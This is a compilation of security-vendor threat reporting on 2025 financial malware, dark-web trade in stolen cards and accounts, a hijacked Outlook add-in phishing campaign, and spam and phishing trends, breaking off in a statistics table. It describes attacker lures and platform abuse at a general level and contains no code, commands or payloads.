There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

An example of a post offering a database

An example of a post offering a database

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Examples of a post (top) and a site (bottom) offering payment cards

Examples of a post (top) and a site (bottom) offering payment cards

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Examples of a post (top) and a site (bottom) offering bank accounts

Examples of a post (top) and a site (bottom) offering bank accounts

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

An example of a message offering compiled databases

An example of a message offering compiled databases

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Examples of posts offering creation of phishing websites

Examples of posts offering creation of phishing websites

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

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Outlook add-in goes rogue and steals 4,000 credentials and payment data

Researchers found a malicious Microsoft Outlook add-in which was able to steal 4,000 stolen Microsoft account credentials, credit card numbers, and banking security answers. 

How is it possible that the Microsoft Office Add-in Store ended listing an add-in that silently loaded a phishing kit inside Outlook’s sidebar?

A developer launched an add-in called AgreeTo, an open-source meeting scheduling tool with a Chrome extension. It was a popular tool, but at some point, it was abandoned by its developer, its backend URL on Vercel expired, and an attacker later claimed that same URL.

That requires some explanation. Office add-ins are essentially XML manifests that tell Outlook to load a specific URL in an iframe. Microsoft reviews and signs the manifest once but does not continuously monitor what that URL serves later.

So, when the outlook-one.vercel.app subdomain became free to claim, a cybercriminal jumped at the opportunity to scoop it up and abuse the powerful ReadWriteItem permissions requested and approved in 2022. These permissions meant the add-in could read and modify a user’s email when loaded. The permissions were appropriate for a meeting scheduler, but they served a different purpose for the criminal.

While Google removed the dead Chrome extension in February 2025, the Outlook add-in stayed listed in Microsoft’s Office Store, still pointing to a Vercel URL that no longer belonged to the original developer.

An attacker registered that Vercel subdomain and deployed a simple four-page phishing kit consisting of fake Microsoft login, password collection, Telegram-based data exfiltration, and a redirect to the real login.microsoftonline.com.

What make this work was simple and effective. When users opened the add-in, they saw what looked like a normal Microsoft sign-in inside Outlook. They entered credentials, which were sent via a JavaScript function to the attacker’s Telegram bot along with IP data, then were bounced to the real Microsoft login so nothing seemed suspicious.

The researchers were able to access the attacker’s poorly secured Telegram-based exfiltration channel and recovered more than 4,000 sets of stolen Microsoft account credentials, plus payment and banking data, indicating the campaign was active and part of a larger multi-brand phishing operation.

“The same attacker operates at least 12 distinct phishing kits, each impersonating a different brand – Canadian ISPs, banks, webmail providers. The stolen data included not just email credentials but credit card numbers, CVVs, PINs, and banking security answers used to intercept Interac e-Transfer payments. This is a professional, multi-brand phishing operation. The Outlook add-in was just one of its distribution channels.”

What to do

If you are or ever have used the AgreeTo add-in after May 2023:

  • Make sure it’s removed. If not, uninstall the add-in.
  • Change the password for your Microsoft account.
  • If that password (or close variants) was reused on other services (email, banking, SaaS, social), change those as well and make each one unique.
  • Review recent sign‑ins and security activity on your Microsoft account, looking for logins from unknown locations or devices, or unusual times.
  • Review other sensitive information you may have shared via email.
  • Scan your mailbox for signs of abuse: messages you did not send, auto‑forwarding rules you did not create, or password‑reset emails for other services you did not request.
  • Watch payment statements closely for at least the next few months, especially small “test” charges and unexpected e‑transfer or card‑not‑present transactions, and dispute anything suspicious immediately.

We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

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Spam and phishing in 2025

The year in figures

  • 44.99% of all emails sent worldwide and 43.27% of all emails sent in the Russian web segment were spam
  • 32.50% of all spam emails were sent from Russia
  • Kaspersky Mail Anti-Virus blocked 144,722,674 malicious email attachments
  • Our Anti-Phishing system thwarted 554,002,207 attempts to follow phishing links

Phishing and scams in 2025

Entertainment-themed phishing attacks and scams

In 2025, online streaming services remained a primary theme for phishing sites within the entertainment sector, typically by offering early access to major premieres ahead of their official release dates. Alongside these, there was a notable increase in phishing pages mimicking ticket aggregation platforms for live events. Cybercriminals lured users with offers of free tickets to see popular artists on pages that mirrored the branding of major ticket distributors. To participate in these “promotions”, victims were required to pay a nominal processing or ticket-shipping fee. Naturally, after paying the fee, the users never received any tickets.

In addition to concert-themed bait, other music-related scams gained significant traction. Users were directed to phishing pages and prompted to “vote for their favorite artist”, a common activity within fan communities. To bolster credibility, the scammers leveraged the branding of major companies like Google and Spotify. This specific scheme was designed to harvest credentials for multiple platforms simultaneously, as users were required to sign in with their Facebook, Instagram, or email credentials to participate.

As a pretext for harvesting Spotify credentials, attackers offered users a way to migrate their playlists to YouTube. To complete the transfer, victims were to just enter their Spotify credentials.

Beyond standard phishing, threat actors leveraged Spotify’s popularity for scams. In Brazil, scammers promoted a scheme where users were purportedly paid to listen to and rate songs.

To “withdraw” their earnings, users were required to provide their identification number for PIX, Brazil’s instant payment system.

Users were then prompted to verify their identity. To do so, the victim was required to make a small, one-time “verification payment”, an amount significantly lower than the potential earnings.

The form for submitting this “verification payment” was designed to appear highly authentic, even requesting various pieces of personal data. It is highly probable that this data was collected for use in subsequent attacks.

In another variation, users were invited to participate in a survey in exchange for a $1000 gift card. However, in a move typical of a scam, the victim was required to pay a small processing or shipping fee to claim the prize. Once the funds were transferred, the attackers vanished, and the website was taken offline.

Even deciding to go to an art venue with a girl from a dating site could result in financial loss. In this scenario, the “date” would suggest an in-person meeting after a brief period of rapport-building. They would propose a relatively inexpensive outing, such as a movie or a play at a niche theater. The scammer would go so far as to provide a link to a specific page where the victim could supposedly purchase tickets for the event.

To enhance the site’s perceived legitimacy, it even prompted the user to select their city of residence.

However, once the “ticket payment” was completed, both the booking site and the individual from the dating platform would vanish.

A similar tactic was employed by scam sites selling tickets for escape rooms. The design of these pages closely mirrored legitimate websites to lower the target’s guard.

Phishing pages masquerading as travel portals often capitalize on a sense of urgency, betting that a customer eager to book a “last-minute deal” will overlook an illegitimate URL. For example, the fraudulent page shown below offered exclusive tours of Japan, purportedly from a major Japanese tour operator.

Sensitive data at risk: phishing via government services

To harvest users’ personal data, attackers utilized a traditional phishing framework: fraudulent forms for document processing on sites posing as government portals. The visual design and content of these phishing pages meticulously replicated legitimate websites, offering the same services found on official sites. In Brazil, for instance, attackers collected personal data from individuals under the pretext of issuing a Rural Property Registration Certificate (CCIR).

Through this method, fraudsters tried to gain access to the victim’s highly sensitive information, including their individual taxpayer registry (CPF) number. This identifier serves as a unique key for every Brazilian national to access private accounts on government portals. It is also utilized in national databases and displayed on personal identification documents, making its interception particularly dangerous. Scammer access to this data poses a severe risk of identity theft, unauthorized access to government platforms, and financial exposure.

Furthermore, users were at risk of direct financial loss: in certain instances, the attackers requested a “processing fee” to facilitate the issuance of the important document.

Fraudsters also employed other methods to obtain CPF numbers. Specifically, we discovered phishing pages mimicking the official government service portal, which requires the CPF for sign-in.

Another theme exploited by scammers involved government payouts. In 2025, Singaporean citizens received government vouchers ranging from $600 to $800 in honor of the country’s 60th anniversary. To redeem these, users were required to sign in to the official program website. Fraudsters rushed to create web pages designed to mimic this site. Interestingly, the primary targets in this campaign were Telegram accounts, despite the fact that Telegram credentials were not a requirement for signing in to the legitimate portal.

We also identified a scam targeting users in Norway who were looking to renew or replace their driver’s licenses. Upon opening a website masquerading as the official Norwegian Public Roads Administration website, visitors were prompted to enter their vehicle registration and phone numbers.

Next, the victim was prompted for sensitive data, such as the personal identification number unique to every Norwegian citizen. By doing so, the attackers not only gained access to confidential information but also reinforced the illusion that the victim was interacting with an official website.

Once the personal data was submitted, a fraudulent page would appear, requesting a “processing fee” of 1200 kroner. If the victim entered their credit card details, the funds were transferred directly to the scammers with no possibility of recovery.

In Germany, attackers used the pretext of filing tax returns to trick users into providing their email user names and passwords on phishing pages.

A call to urgent action is a classic tactic in phishing scenarios. When combined with the threat of losing property, these schemes become highly effective bait, distracting potential victims from noticing an incorrect URL or a poorly designed website. For example, a phishing warning regarding unpaid vehicle taxes was used as a tool by attackers targeting credentials for the UK government portal.

We have observed that since the spring of 2025, there has been an increase in emails mimicking automated notifications from the Russian government services portal. These messages were distributed under the guise of application status updates and contained phishing links.

We also recorded vishing attacks targeting users of government portals. Victims were prompted to “verify account security” by calling a support number provided in the email. To lower the users’ guard, the attackers included fabricated technical details in the emails, such as the IP address, device model, and timestamp of an alleged unauthorized sign-in.

Last year, attackers also disguised vishing emails as notifications from microfinance institutions or credit bureaus regarding new loan applications. The scammers banked on the likelihood that the recipient had not actually applied for a loan. They would then prompt the victim to contact a fake support service via a spoofed support number.

Know Your Customer

As an added layer of data security, many services now implement biometric verification (facial recognition, fingerprints, and retina scans), as well as identity document verification and digital signatures. To harvest this data, fraudsters create clones of popular platforms that utilize these verification protocols. We have previously detailed the mechanics of this specific type of data theft.

In 2025, we observed a surge in phishing attacks targeting users under the guise of Know Your Customer (KYC) identity verification. KYC protocols rely on a specific set of user data for identification. By spoofing the pages of payment services such as Vivid Money, fraudsters harvested the information required to pass KYC authentication.

Notably, this threat also impacted users of various other platforms that utilize KYC procedures.

A distinctive feature of attacks on the KYC process is that, in addition to the victim’s full name, email address, and phone number, phishers request photos of their passport or face, sometimes from multiple angles. If this information falls into the hands of threat actors, the consequences extend beyond the loss of account access; the victim’s credentials can be sold on dark web marketplaces, a trend we have highlighted in previous reports.

Messaging app phishing

Account hijacking on messaging platforms like WhatsApp and Telegram remains one of the primary objectives of phishing and scam operations. While traditional tactics, such as suspicious links embedded in messages, have been well-known for some time, the methods used to steal credentials are becoming increasingly sophisticated.

For instance, Telegram users were invited to participate in a prize giveaway purportedly hosted by a famous athlete. This phishing attack, which masqueraded as an NFT giveaway, was executed through a Telegram Mini App. This marks a shift in tactics, as attackers previously relied on external web pages for these types of schemes.

In 2025, new variations emerged within the familiar framework of distributing phishing links via Telegram. For example, we observed prompts inviting users to vote for the “best dentist” or “best COO” in town.

The most prevalent theme in these voting-based schemes, children’s contests, was distributed primarily through WhatsApp. These phishing pages showed little variety; attackers utilized a standardized website design and set of “bait” photos, simply localizing the language based on the target audience’s geographic location.

To participate in the vote, the victim was required to enter the phone number linked to their WhatsApp account.

They were then prompted to provide a one-time authentication code for the messaging app.

The following are several other popular methods used by fraudsters to hijack user credentials.

In China, phishing pages meticulously replicated the WhatsApp interface. Victims were notified that their accounts had purportedly been flagged for “illegal activity”, necessitating “additional verification”.

The victim was redirected to a page to enter their phone number, followed by a request for their authorization code.

In other instances, users received messages allegedly from WhatsApp support regarding account authentication via SMS. As with the other scenarios described, the attackers’ objective was to obtain the authentication code required to hijack the account.

Fraudsters enticed WhatsApp users with an offer to link an app designed to “sync communications” with business contacts.

To increase the perceived legitimacy of the phishing site, the attackers even prompted users to create custom credentials for the page.

After that, the user was required to “purchase a subscription” to activate the application. This allowed the scammers to harvest credit card data, leaving the victim without the promised service.

To lure Telegram users, phishers distributed invitations to online dating chats.

Attackers also heavily leveraged the promise of free Telegram Premium subscriptions. While these phishing pages were previously observed only in Russian and English, the linguistic scope of these campaigns expanded significantly this year. As in previous iterations, activating the subscription required the victim to sign in to their account, which could result in the loss of account access.

Exploiting the ChatGPT hype

Artificial intelligence is increasingly being leveraged by attackers as bait. For example, we have identified fraudulent websites mimicking the official payment page for ChatGPT Plus subscriptions.

Social media marketing through LLMs was also a potential focal point for user interest. Scammers offered “specialized prompt kits” designed for social media growth; however, once payment was received, they vanished, leaving victims without the prompts or their money.

The promise of easy income through neural networks has emerged as another tactic to attract potential victims. Fraudsters promoted using ChatGPT to place bets, promising that the bot would do all the work while the user collected the profits. These services were offered at a “special price” valid for only 15 minutes after the page was opened. This narrow window prevented the victim from critically evaluating the impulse purchase.

Job opportunities with a catch

To attract potential victims, scammers exploited the theme of employment by offering high-paying remote positions. Applicants responding to these advertisements did more than just disclose their personal data; in some cases, fraudsters requested a small sum under the pretext of document processing or administrative fees. To convince victims that the offer was legitimate, attackers impersonated major brands, leveraging household names to build trust. This allowed them to lower the victims’ guard, even when the employment terms sounded too good to be true.

We also observed schemes where, after obtaining a victim’s data via a phishing site, scammers would follow up with a phone call – a tactic aimed at tricking the user into disclosing additional personal data.

By analyzing current job market trends, threat actors also targeted popular career paths to steal messaging app credentials. These phishing schemes were tailored to specific regional markets. For example, in the UAE, fake “employment agency” websites were circulating.

In a more sophisticated variation, users were asked to complete a questionnaire that required the phone number linked to their Telegram account.

To complete the registration, users were prompted for a code which, in reality, was a Telegram authorization code.

Notably, the registration process did not end there; the site continued to request additional information to “set up an account” on the fraudulent platform. This served to keep victims in the dark, maintaining their trust in the malicious site’s perceived legitimacy.

After finishing the registration, the victim was told to wait 24 hours for “verification”, though the scammers’ primary objective, hijacking the Telegram account, had already been achieved.

Simpler phishing schemes were also observed, where users were redirected to a page mimicking the Telegram interface. By entering their phone number and authorization code, victims lost access to their accounts.

Job seekers were not the only ones targeted by scammers. Employers’ accounts were also in the crosshairs, specifically on a major Russian recruitment portal. On a counterfeit page, the victim was asked to “verify their account” in order to post a job listing, which required them to enter their actual sign-in credentials for the legitimate site.

Spam in 2025

Malicious attachments

Password-protected archives

Attackers began aggressively distributing messages with password-protected malicious archives in 2024. Throughout 2025, these archives remained a popular vector for spreading malware, and we observed a variety of techniques designed to bypass security solutions.

For example, threat actors sent emails impersonating law firms, threatening victims with legal action over alleged “unauthorized domain name use”. The recipient was prompted to review potential pre-trial settlement options detailed in an attached document. The attachment consisted of an unprotected archive containing a secondary password-protected archive and a file with the password. Disguised as a legal document within this inner archive was a malicious WSF file, which installed a Trojan into the system via startup. The Trojan then stealthily downloaded and installed Tor, which allowed it to regularly exfiltrate screenshots to the attacker-controlled C2 server.

In addition to archives, we also encountered password-protected PDF files containing malicious links over the past year.

E-signature service exploits

Emails using the pretext of “signing a document” to coerce users into clicking phishing links or opening malicious attachments were quite common in 2025. The most prevalent scheme involved fraudulent notifications from electronic signature services. While these were primarily used for phishing, one specific malware sample identified within this campaign is of particular interest.

The email, purportedly sent from a well-known document-sharing platform, notified the recipient that they had been granted access to a “contract” attached to the message. However, the attachment was not the expected PDF; instead, it was a nested email file named after the contract. The body of this nested message mirrored the original, but its attachment utilized a double extension: a malicious SVG file containing a Trojan was disguised as a PDF document. This multi-layered approach was likely an attempt to obfuscate the malware and bypass security filters.

“Business correspondence” impersonating industrial companies

In the summer of last year, we observed mailshots sent in the name of various existing industrial enterprises. These emails contained DOCX attachments embedded with Trojans. Attackers coerced victims into opening the malicious files under the pretext of routine business tasks, such as signing a contract or drafting a report.

The authors of this malicious campaign attempted to lower users’ guard by using legitimate industrial sector domains in the “From” address. Furthermore, the messages were routed through the mail servers of a reputable cloud provider, ensuring the technical metadata appeared authentic. Consequently, even a cautious user could mistake the email for a genuine communication, open the attachment, and compromise their device.

Attacks on hospitals

Hospitals were a popular target for threat actors this past year: they were targeted with malicious emails impersonating well-known insurance providers. Recipients were threatened with legal action regarding alleged “substandard medical services”. The attachments, described as “medical records and a written complaint from an aggrieved patient”, were actually malware. Our solutions detect this threat as Backdoor.Win64.BrockenDoor, a backdoor capable of harvesting system information and executing malicious commands on the infected device.

We also came across emails with a different narrative. In those instances, medical staff were requested to facilitate a patient transfer from another hospital for ongoing observation and treatment. These messages referenced attached medical files containing diagnostic and treatment history, which were actually archives containing malicious payloads.

To bolster the perceived legitimacy of these communications, attackers did more than just impersonate famous insurers and medical institutions; they registered look-alike domains that mimicked official organizations’ domains by appending keywords such as “-insurance” or “-med.” Furthermore, to lower the victims’ guard, scammers included a fake “Scanned by Email Security” label.

Messages containing instructions to run malicious scripts

Last year, we observed unconventional infection chains targeting end-user devices. Threat actors continued to distribute instructions for downloading and executing malicious code, rather than attaching the malware files directly. To convince the recipient to follow these steps, attackers typically utilized a lure involving a “critical software update” or a “system patch” to fix a purported vulnerability. Generally, the first step in the instructions required launching the command prompt with administrative privileges, while the second involved entering a command to download and execute the malware: either a script or an executable file.

In some instances, these instructions were contained within a PDF file. The victim was prompted to copy a command into PowerShell that was neither obfuscated nor hidden. Such schemes target non-technical users who would likely not understand the command’s true intent and would unknowingly infect their own devices.

Scams

Law enforcement impersonation scams in the Russian web segment

In 2025, extortion campaigns involving actors posing as law enforcement – a trend previously more prevalent in Europe – were adapted to target users across the Commonwealth of Independent States.

For example, we identified messages disguised as criminal subpoenas or summonses purportedly issued by Russian law enforcement agencies. However, the specific departments cited in these emails never actually existed. The content of these “summonses” would also likely raise red flags for a cautious user. This blackmail scheme relied on the victim, in their state of panic, not scrutinizing the contents of the fake summons.

To intimidate recipients, the attackers referenced legal frameworks and added forged signatures and seals to the “subpoenas”. In reality, neither the cited statutes nor the specific civil service positions exist in Russia.

We observed similar attacks – employing fabricated government agencies and fictitious legal acts – in other CIS countries, such as Belarus.

Fraudulent investment schemes

Threat actors continued to aggressively exploit investment themes in their email scams. These emails typically promise stable, remote income through “exclusive” investment opportunities. This remains one of the most high-volume and adaptable categories of email scams. Threat actors embedded fraudulent links both directly within the message body and inside various types of attachments: PDF, DOC, PPTX, and PNG files. Furthermore, they increasingly leveraged legitimate Google services, such as Google Docs, YouTube, and Google Forms, to distribute these communications. The link led to the site of the “project” where the victim was prompted to provide their phone number and email. Subsequently, users were invited to invest in a non-existent project.

We have previously documented these mailshots: they were originally targeted at Russian-speaking users and were primarily distributed under the guise of major financial institutions. However, in 2025, this investment-themed scam expanded into other CIS countries and Europe. Furthermore, the range of industries that spammers impersonated grew significantly. For instance, in their emails, attackers began soliciting investments for projects supposedly led by major industrial-sector companies in Kazakhstan and the Czech Republic.

Fraudulent “brand partner” recruitment

This specific scam operates through a multi-stage workflow. First, the target company receives a communication from an individual claiming to represent a well-known global brand, inviting them to register as a certified supplier or business partner. To bolster the perceived authenticity of the offer, the fraudsters send the victim an extensive set of forged documents. Once these documents are signed, the victim is instructed to pay a “deposit”, which the attackers claim will be fully refunded once the partnership is officially established.

These mailshots were first detected in 2025 and have rapidly become one of the most prevalent forms of email-based fraud. In December 2025 alone, we blocked over 80,000 such messages. These campaigns specifically targeted the B2B sector and were notable for their high level of variation – ranging from their technical properties to the diversity of the message content and the wide array of brands the attackers chose to impersonate.

Fraudulent overdue rent notices

Last year, we identified a new theme in email scams: recipients were notified that the payment deadline for a leased property had expired and were urged to settle the “debt” immediately. To prevent the victim from sending funds to their actual landlord, the email claimed that banking details had changed. The “debtor” was then instructed to request the new payment information – which, of course, belonged to the fraudsters. These mailshots primarily targeted French-speaking countries; however, in December 2025, we discovered a similar scam variant in German.

QR codes in scam letters

In 2025, we observed a trend where QR codes were utilized not only in phishing attempts but also in extortion emails. In a classic blackmail scam, the user is typically intimidated by claims that hackers have gained access to sensitive data. To prevent the public release of this information, the attackers demand a ransom payment to their cryptocurrency wallet.

Previously, to bypass email filters, scammers attempted to obfuscate the wallet address by using various noise contamination techniques. In last year’s campaigns, however, scammers shifted to including a QR code that contained the cryptocurrency wallet address.

News agenda

As in previous years, spammers in 2025 aggressively integrated current events into their fraudulent messaging to increase engagement.

For example, following the launch of $TRUMP memecoins surrounding Donald Trump’s inauguration, we identified scam campaigns promoting the “Trump Meme Coin” and “Trump Digital Trading Cards”. In these instances, scammers enticed victims to click a link to claim “free NFTs”.

We also observed ads offering educational credentials. Spammers posted these ads as comments on legacy, unmoderated forums; this tactic ensured that notifications were automatically pushed to all users subscribed to the thread. These notifications either displayed the fraudulent link directly in the comment preview or alerted users to a new post that redirected them to spammers’ sites.

In the summer, when the wedding of Amazon founder Jeff Bezos became a major global news story, users began receiving Nigerian-style scam messages purportedly from Bezos himself, as well as from his former wife, MacKenzie Scott. These emails promised recipients substantial sums of money, framed either as charitable donations or corporate compensation from Amazon.

During the BLACKPINK world tour, we observed a wave of spam advertising “luggage scooters”. The scammers claimed these were the exact motorized suitcases used by the band members during their performances.

Finally, in the fall of 2025, traditionally timed to coincide with the launch of new iPhones, we identified scam campaigns featuring surveys that offered participants a chance to “win” a fictitious iPhone 17 Pro.

After completing a brief survey, the user was prompted to provide their contact information and physical address, as well as pay a “delivery fee” – which was the scammers’ ultimate objective. Upon entering their credit card details into the fraudulent site, the victim risked losing not only the relatively small delivery charge but also the entire balance in their bank account.

The widespread popularity of Ozempic was also reflected in spam campaigns; users were bombarded with offers to purchase versions of the drug or questionable alternatives.

Localized news events also fall under the scrutiny of fraudsters, serving as the basis for scam narratives. For instance, last summer, coinciding with the opening of the tax season in South Africa, we began detecting phishing emails impersonating the South African Revenue Service (SARS). These messages notified taxpayers of alleged “outstanding balances” that required immediate settlement.

Methods of distributing email threats

Google services

In 2025, threat actors increasingly leveraged various Google services to distribute email-based threats. We observed the exploitation of Google Calendar: scammers would create an event containing a WhatsApp contact number in the description and send an invitation to the target. For instance, companies received emails regarding product inquiries that prompted them to move the conversation to the messaging app to discuss potential “collaboration”.

Spammers employed a similar tactic using Google Classroom. We identified samples offering SEO optimization services that likewise directed victims to a WhatsApp number for further communication.

We also detected the distribution of fraudulent links via legitimate YouTube notifications. Attackers would reply to user comments under various videos, triggering an automated email notification to the victim. This email contained a link to a video that displayed only a message urging the viewer to “check the description”, where the actual link to the scam site was located. As the victim received an email containing the full text of the fraudulent comment, they were often lured through this chain of links, eventually landing on the scam site.

Over the past two years or so, there has been a significant rise in attacks utilizing Google Forms. Fraudsters create a survey with an enticing title and place the scam messaging directly in the form’s description. They then submit the form themselves, entering the victims’ email addresses into the field for the respondent email. This triggers legitimate notifications from the Google Forms service to the targeted addresses. Because these emails originate from Google’s own mail servers, they appear authentic to most spam filters. The attackers rely on the victim focusing on the “bait” description containing the fraudulent link rather than the standard form header.

Google Groups also emerged as a popular tool for spam distribution last year. Scammers would create a group, add the victims’ email addresses as members, and broadcast spam through the service. This scheme proved highly effective: even if a security solution blocked the initial spam message, the user could receive a deluge of automated replies from other addresses on the member list.

At the end of 2025, we encountered a legitimate email in terms of technical metadata that was sent via Google and contained a fraudulent link. The message also included a verification code for the recipient’s email address. To generate this notification, scammers filled out the account registration form in a way that diverted the recipient’s attention toward a fraudulent site. For example, instead of entering a first and last name, the attackers inserted text such as “Personal Link” followed by a phishing URL, utilizing noise contamination techniques. By entering the victim’s email address into the registration field, the scammers triggered a legitimate system notification containing the fraudulent link.

OpenAI

In addition to Google services, spammers leveraged other platforms to distribute email threats, notably OpenAI, riding the wave of artificial intelligence popularity. In 2025, we observed emails sent via the OpenAI platform into which spammers had injected short messages, fraudulent links, or phone numbers.

This occurs during the account registration process on the OpenAI platform, where users are prompted to create an organization to generate an API key. Spammers placed their fraudulent content directly into the field designated for the organization’s name. They then added the victims’ email addresses as organization members, triggering automated platform invitations that delivered the fraudulent links or contact numbers directly to the targets.

Spear phishing and BEC attacks in 2025

QR codes

The use of QR codes in spear phishing has become a conventional tactic that threat actors continued to employ throughout 2025. Specifically, we observed the persistence of a major trend identified in our previous report: the distribution of phishing documents disguised as notifications from a company’s HR department.

In these campaigns, attackers impersonated HR team members, requesting that employees review critical documentation, such as a new corporate policy or code of conduct. These documents were typically attached to the email as PDF files.

Phishing notification about "new corporate policies"

Phishing notification about “new corporate policies”

To maintain the ruse, the PDF document contained a highly convincing call to action, prompting the user to scan a QR code to access the relevant file. While attackers previously embedded these codes directly into the body of the email, last year saw a significant shift toward placing them within attachments – most likely in an attempt to bypass email security filters.

Malicious PDF content

Malicious PDF content

Upon scanning the QR code within the attachment, the victim was redirected to a phishing page meticulously designed to mimic a Microsoft authentication form.

Phishing page with an authentication form

Phishing page with an authentication form

In addition to fraudulent HR notifications, threat actors created scheduled meetings within the victim’s email calendar, placing DOC or PDF files containing QR codes in the event descriptions. Leveraging calendar invites to distribute malicious links is a legacy technique that was widely observed during scam campaigns in 2019. After several years of relative dormancy, we saw a resurgence of this technique last year, now integrated into more sophisticated spear phishing operations.

Fake meeting invitation

Fake meeting invitation

In one specific example, the attachment was presented as a “new voicemail” notification. To listen to the recording, the user was prompted to scan a QR code and sign in to their account on the resulting page.

Malicious attachment content

Malicious attachment content

As in the previous scenario, scanning the code redirected the user to a phishing page, where they risked losing access to their Microsoft account or internal corporate sites.

Link protection services

Threat actors utilized more than just QR codes to hide phishing URLs and bypass security checks. In 2025, we discovered that fraudsters began weaponizing link protection services for the same purpose. The primary function of these services is to intercept and scan URLs at the moment of clicking to prevent users from reaching phishing sites or downloading malware. However, attackers are now abusing this technology by generating phishing links that security systems mistakenly categorize as “safe”.

This technique is employed in both mass and spear phishing campaigns. It is particularly dangerous in targeted attacks, which often incorporate employees’ personal data and mimic official corporate branding. When combined with these characteristics, a URL generated through a legitimate link protection service can significantly bolster the perceived authenticity of a phishing email.

"Protected" link in a phishing email

“Protected” link in a phishing email

After opening a URL that seemed safe, the user was directed to a phishing site.

Phishing page

Phishing page

BEC and fabricated email chains

In Business Email Compromise (BEC) attacks, threat actors have also begun employing new techniques, the most notable of which is the use of fake forwarded messages.

BEC email featuring a fabricated message thread

BEC email featuring a fabricated message thread

This BEC attack unfolded as follows. An employee would receive an email containing a previous conversation between the sender and another colleague. The final message in this thread was typically an automated out-of-office reply or a request to hand off a specific task to a new assignee. In reality, however, the entire initial conversation with the colleague was completely fabricated. These messages lacked the thread-index headers, as well as other critical header values, that would typically verify the authenticity of an actual email chain.

In the example at hand, the victim was pressured to urgently pay for a license using the provided banking details. The PDF attachments included wire transfer instructions and a counterfeit cover letter from the bank.

Malicious PDF content

Malicious PDF content

The bank does not actually have an office at the address provided in the documents.

Statistics: phishing

In 2025, Kaspersky solutions blocked 554,002,207 attempts to follow fraudulent links. In contrast to the trends of previous years, we did not observe any major spikes in phishing activity; instead, the volume of attacks remained relatively stable throughout the year, with the exception of a minor decline in December.

Anti-Phishing triggers, 2025 (download)

The phishing and scam landscape underwent a shift. While in 2024, we saw a high volume of mass attacks, their frequency declined in 2025. Furthermore, redirection-based schemes, which were frequently used for online fraud in 2024, became less prevalent in 2025.

Map of phishing attacks

As in the previous year, Peru remains the country with the highest percentage (17.46%) of users targeted by phishing attacks. Bangladesh (16.98%) took second place, entering the TOP 10 for the first time, while Malawi (16.65%), which was absent from the 2024 rankings, was third. Following these are Tunisia (16.19%), Colombia (15.67%), the latter also being a newcomer to the TOP 10, Brazil (15.48%), and Ecuador (15.27%). They are followed closely by Madagascar and Kenya, both with a 15.23% share of attacked users. Rounding out the list is Vietnam, which previously held the third spot, with a share of 15.05%.

Country/territory Share of attacked users**
Peru 17.46%
Bangladesh 16.98%
